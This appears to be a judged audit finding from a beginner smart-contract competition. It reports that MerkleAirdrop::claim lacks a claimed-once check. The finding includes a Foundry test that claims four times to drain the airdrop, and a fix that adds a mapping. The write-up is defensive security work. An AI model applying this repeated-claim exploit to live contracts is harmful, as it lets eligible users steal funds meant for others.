Beginner FriendlyDeFiFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Repeated Calls to `MerkleAirdrop::claim` by Any of 4 Lucky Addresses Result in the draining of all the Airdrop Token

Summary

The MerkleAirdrop::claim function lacks a check, allowing repeated calls by any of the four lucky addresses and risking the drain of all airdrop tokens.

Vulnerability Details

The MerkleAirdrop::claim function was meant to be used by the users to claim the airdrop if they are eligible. It does so by using the Merkle tree. The current implementation lacks a check to ensure that those 4 lucky Ethereum addresses can only call the MerkleAirdrop::claim function once, despite the intention being to distribute 25 USDC to each selected address. This vulnerability allows any of the four lucky addresses selected based on Ethereum L1 activity to repeatedly call the MerkleAirdrop::claim function, leading to the potential drain of all airdrop tokens.

Impact

Anyone of the 4 lucky Ethereum addresses can drain all of the airdrop tokens.

POC

Add these lines inside of test/MerkleAirdropTest.t.sol::MerkleAirdropTest. This tests if the lucky Ethereum addresses with enough ETH to pay for the fee, can call the MerkleAirdrop::claim function repeatedly to get airdrop.

function testLuckyEthAddressCanCallClaimMultipleTimes() public {
uint256 startingBalance = token.balanceOf(collectorOne);
vm.deal(collectorOne, airdrop.getFee()*4);
vm.startPrank(collectorOne);
airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof);
airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof);
airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof);
airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof);
vm.stopPrank();
// collectorOne has claimed 4 times, so endingBalance is 100 airdrop tokens
uint256 endingBalance = token.balanceOf(collectorOne);
// 0 airdrop tokens
uint256 endingTotalAirDropTokens = token.balanceOf(address(airdrop));
assertEq(endingBalance - startingBalance, amountToCollect*4);
assertEq(endingTotalAirDropTokens, 0);
}

Tools Used

Manual review

Recommendations

Implement the check if the lucky Ethereum address has already claimed the airdrop or not. Various ways are there for this implementation. One of the ways to do so is by using mapping like this:

.
.
.
error MerkleAirdrop__TransferFailed();
+ error MerkleAirdrop__ALreadyClaimed();
.
.
.
bytes32 private immutable i_merkleRoot;
+ mapping (address => uint8) private isClaimed;
.
.
.
function claim(address account, uint256 amount, bytes32[] calldata merkleProof) external payable {
+ if (isClaimed[account] != 0) {
+ revert MerkleAirdrop__ALreadyClaimed();
+ }
.
.
.
emit Claimed(account, amount);
+ isClaimed[account] = 1;
i_airdropToken.safeTransfer(account, amount);
Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

multi-claim-airdrop

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.